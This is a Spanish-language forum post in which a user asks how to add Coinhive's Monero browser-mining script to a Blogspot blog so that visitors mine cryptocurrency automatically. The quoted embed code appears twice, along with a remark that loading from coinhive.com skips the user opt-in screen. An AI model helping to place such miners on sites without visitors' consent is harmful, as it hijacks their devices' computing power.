R
reamdar123
Delta
Verificado por Whatsapp
¡Usuario con pocos negocios! ¡Utiliza siempre saldo de Forobeta!
Hola amigos para los que saben coinhive es un minador de monero. Cuando alguien entra a tu web automaticamente empiezas a minar esa cryptomoneda.
Ahora bien, mi pregunta es la siguiente: Donde coloco estos datos que estan abajo? ya que deseo colocarlo en blogger o sea en blogspot. Espero que alguien me ayude!!!
Nota: esos datos los da la misma pagina
Load the Coinhive Miner
<script src="https://authedmine.com/lib/authedmine.min.js"></script>
Note that the Miner is loaded from a different domain (authedmine.com) that enforces an opt-in as soon as miner.start() is called.
You may load the miner from https://coinhive.com/lib/coinhive.min.js instead if you don't want to show the opt-in screen. See our AuthedMine documentation for the details.
Start Mining
<script>
var miner = new CoinHive.Anonymous('YOUR_SITE_KEY');
miner.start();
</script>
Optionally listen on events, update stats on your website, etc.
<script>
// Listen on events
miner.on('found', function() { /* Hash found */ })
miner.on('accepted', function() { /* Hash accepted by the pool */ })
// Update stats once per second
setInterval(function() {
var hashesPerSecond = miner.getHashesPerSecond();
var totalHashes = miner.getTotalHashes();
var acceptedHashes = miner.getAcceptedHashes();
// Output to HTML elements...
}, 1000);
</script>
Ahora bien, mi pregunta es la siguiente: Donde coloco estos datos que estan abajo? ya que deseo colocarlo en blogger o sea en blogspot. Espero que alguien me ayude!!!
Nota: esos datos los da la misma pagina
Load the Coinhive Miner
<script src="https://authedmine.com/lib/authedmine.min.js"></script>
Note that the Miner is loaded from a different domain (authedmine.com) that enforces an opt-in as soon as miner.start() is called.
You may load the miner from https://coinhive.com/lib/coinhive.min.js instead if you don't want to show the opt-in screen. See our AuthedMine documentation for the details.
Start Mining
<script>
var miner = new CoinHive.Anonymous('YOUR_SITE_KEY');
miner.start();
</script>
Optionally listen on events, update stats on your website, etc.
<script>
// Listen on events
miner.on('found', function() { /* Hash found */ })
miner.on('accepted', function() { /* Hash accepted by the pool */ })
// Update stats once per second
setInterval(function() {
var hashesPerSecond = miner.getHashesPerSecond();
var totalHashes = miner.getTotalHashes();
var acceptedHashes = miner.getAcceptedHashes();
// Output to HTML elements...
}, 1000);
</script>